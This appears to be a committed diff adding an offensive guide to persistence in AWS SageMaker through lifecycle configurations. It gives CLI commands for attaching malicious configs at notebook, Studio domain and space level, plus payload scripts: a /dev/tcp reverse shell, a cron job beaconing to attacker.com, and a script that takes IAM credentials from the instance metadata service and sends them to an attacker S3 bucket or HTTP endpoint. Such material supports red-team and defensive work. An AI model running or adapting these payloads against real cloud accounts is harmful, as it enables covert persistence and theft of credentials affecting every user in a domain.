|
| 1 | + |
| 2 | +### AWS - SageMaker Lifecycle Configuration Persistence |
| 3 | + |
| 4 | +# Required Permissions |
| 5 | +* Notebook Instances: sagemaker:CreateNotebookInstanceLifecycleConfig, sagemaker:UpdateNotebookInstanceLifecycleConfig, sagemaker:CreateNotebookInstance, sagemaker:UpdateNotebookInstance |
| 6 | +* Studio Applications: sagemaker:CreateStudioLifecycleConfig, sagemaker:UpdateStudioLifecycleConfig, sagemaker:UpdateUserProfile, sagemaker:UpdateSpace, sagemaker:UpdateDomain |
| 7 | + |
| 8 | +### Note: SageMaker notebook instances are essentially managed EC2 instances configured specifically for machine learning workloads. |
| 9 | + |
| 10 | +## Set Lifecycle Configuration on Notebook Instances |
| 11 | + |
| 12 | +### Example AWS CLI Commands: |
| 13 | + |
| 14 | +*# Create Lifecycle Configuration* |
| 15 | +aws sagemaker create-notebook-instance-lifecycle-config \ |
| 16 | +--notebook-instance-lifecycle-config-name attacker-lcc \ |
| 17 | +--on-start Content=$(base64 -w0 reverse_shell.sh) |
| 18 | + |
| 19 | +*# Attach Lifecycle Configuration to Notebook Instance* |
| 20 | +aws sagemaker update-notebook-instance \ |
| 21 | +--notebook-instance-name victim-instance \ |
| 22 | +--lifecycle-config-name attacker-lcc |
| 23 | + |
| 24 | +## Set Lifecycle Configuration on SageMaker Studio |
| 25 | + |
| 26 | +Lifecycle Configurations can be attached at various levels and to different app types within SageMaker Studio. |
| 27 | + |
| 28 | +### Studio Domain Level (All Users) |
| 29 | + |
| 30 | +*# Create Studio Lifecycle Configuration* |
| 31 | +aws sagemaker create-studio-lifecycle-config \ |
| 32 | +--studio-lifecycle-config-name attacker-studio-lcc \ |
| 33 | +--studio-lifecycle-config-app-type JupyterServer \ |
| 34 | +--studio-lifecycle-config-content $(base64 -w0 reverse_shell.sh) |
| 35 | + |
| 36 | +*# Apply LCC to entire Studio Domain* |
| 37 | +aws sagemaker update-domain --domain-id <DOMAIN_ID> --default-user-settings '{ |
| 38 | + "JupyterServerAppSettings": { |
| 39 | + "DefaultResourceSpec": {"LifecycleConfigArn": "<LCC_ARN>"} |
| 40 | + } |
| 41 | +}' |
| 42 | + |
| 43 | +### Studio Space Level (Individual or Shared Spaces) |
| 44 | + |
| 45 | +*# Update SageMaker Studio Space to attach LCC* |
| 46 | +aws sagemaker update-space --domain-id <DOMAIN_ID> --space-name <SPACE_NAME> --space-settings '{ |
| 47 | + "JupyterServerAppSettings": { |
| 48 | + "DefaultResourceSpec": {"LifecycleConfigArn": "<LCC_ARN>"} |
| 49 | + } |
| 50 | +}' |
| 51 | + |
| 52 | +## Types of Studio Application Lifecycle Configurations |
| 53 | + |
| 54 | +Lifecycle configurations can be specifically applied to different SageMaker Studio application types: |
| 55 | +* JupyterServer: Runs scripts during Jupyter server startup, ideal for persistence mechanisms like reverse shells and cron jobs. |
| 56 | +* KernelGateway: Executes during kernel gateway app launch, useful for initial setup or persistent access. |
| 57 | +* CodeEditor: Applies to the Code Editor (Code-OSS), enabling scripts that execute upon the start of code editing sessions. |
| 58 | + |
| 59 | +### Example Command for Each Type: |
| 60 | + |
| 61 | +### JupyterServer |
| 62 | + |
| 63 | +aws sagemaker create-studio-lifecycle-config \ |
| 64 | +--studio-lifecycle-config-name attacker-jupyter-lcc \ |
| 65 | +--studio-lifecycle-config-app-type JupyterServer \ |
| 66 | +--studio-lifecycle-config-content $(base64 -w0 reverse_shell.sh) |
| 67 | + |
| 68 | +### KernelGateway |
| 69 | + |
| 70 | +aws sagemaker create-studio-lifecycle-config \ |
| 71 | +--studio-lifecycle-config-name attacker-kernelgateway-lcc \ |
| 72 | +--studio-lifecycle-config-app-type KernelGateway \ |
| 73 | +--studio-lifecycle-config-content $(base64 -w0 kernel_persist.sh) |
| 74 | + |
| 75 | +### CodeEditor |
| 76 | + |
| 77 | +aws sagemaker create-studio-lifecycle-config \ |
| 78 | +--studio-lifecycle-config-name attacker-codeeditor-lcc \ |
| 79 | +--studio-lifecycle-config-app-type CodeEditor \ |
| 80 | +--studio-lifecycle-config-content $(base64 -w0 editor_persist.sh) |
| 81 | + |
| 82 | +### Critical Info: |
| 83 | +* Attaching LCCs at the domain or space level impacts all users or applications within scope. |
| 84 | +* Requires higher permissions (sagemaker:UpdateDomain, sagemaker:UpdateSpace) typically more feasible at space than domain level. |
| 85 | +* Network-level controls (e.g., strict egress filtering) can prevent successful reverse shells or data exfiltration. |
| 86 | + |
| 87 | +## Reverse Shell via Lifecycle Configuration |
| 88 | + |
| 89 | +SageMaker Lifecycle Configurations (LCCs) execute custom scripts when notebook instances start. An attacker with permissions can establish a persistent reverse shell. |
| 90 | + |
| 91 | +### Payload Example: |
| 92 | + |
| 93 | +#!/bin/bash |
| 94 | +ATTACKER_IP="<ATTACKER_IP>" |
| 95 | +ATTACKER_PORT="<ATTACKER_PORT>" |
| 96 | +nohup bash -i >& /dev/tcp/$ATTACKER_IP/$ATTACKER_PORT 0>&1 & |
| 97 | + |
| 98 | +## Cron Job Persistence via Lifecycle Configuration |
| 99 | + |
| 100 | +An attacker can inject cron jobs through LCC scripts, ensuring periodic execution of malicious scripts or commands, enabling stealthy persistence. |
| 101 | + |
| 102 | +### Payload Example: |
| 103 | + |
| 104 | +#!/bin/bash |
| 105 | +PAYLOAD_PATH="/home/ec2-user/SageMaker/.local_tasks/persist.py" |
| 106 | +CRON_CMD="/usr/bin/python3 $PAYLOAD_PATH" |
| 107 | +CRON_JOB="*/30 * * * * $CRON_CMD" |
| 108 | + |
| 109 | +mkdir -p /home/ec2-user/SageMaker/.local_tasks |
| 110 | +echo 'import os; os.system("curl -X POST http://attacker.com/beacon")' > $PAYLOAD_PATH |
| 111 | +chmod +x $PAYLOAD_PATH |
| 112 | + |
| 113 | +(crontab -u ec2-user -l 2>/dev/null | grep -Fq "$CRON_CMD") || (crontab -u ec2-user -l 2>/dev/null; echo "$CRON_JOB") | crontab -u ec2-user - |
| 114 | + |
| 115 | +## Credential Exfiltration via IMDS (v1 & v2) |
| 116 | + |
| 117 | +Lifecycle configurations can query the Instance Metadata Service (IMDS) to retrieve IAM credentials and exfiltrate them to an attacker-controlled location. |
| 118 | + |
| 119 | +### Payload Example: |
| 120 | + |
| 121 | +#!/bin/bash |
| 122 | +ATTACKER_BUCKET="s3://attacker-controlled-bucket" |
| 123 | +TOKEN=$(curl -X PUT "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 21600") |
| 124 | +ROLE_NAME=$(curl -s -H "X-aws-ec2-metadata-token: $TOKEN" http://169.254.169.254/latest/meta-data/iam/security-credentials/) |
| 125 | +curl -s -H "X-aws-ec2-metadata-token: $TOKEN" http://169.254.169.254/latest/meta-data/iam/security-credentials/$ROLE_NAME > /tmp/creds.json |
| 126 | + |
| 127 | +*# Exfiltrate via S3* |
| 128 | +aws s3 cp /tmp/creds.json $ATTACKER_BUCKET/$(hostname)-creds.json |
| 129 | + |
| 130 | +*# Alternatively, exfiltrate via HTTP POST* |
| 131 | +curl -X POST -F "file=@/tmp/creds.json" http://attacker.com/upload |
| 132 | + |
0 commit comments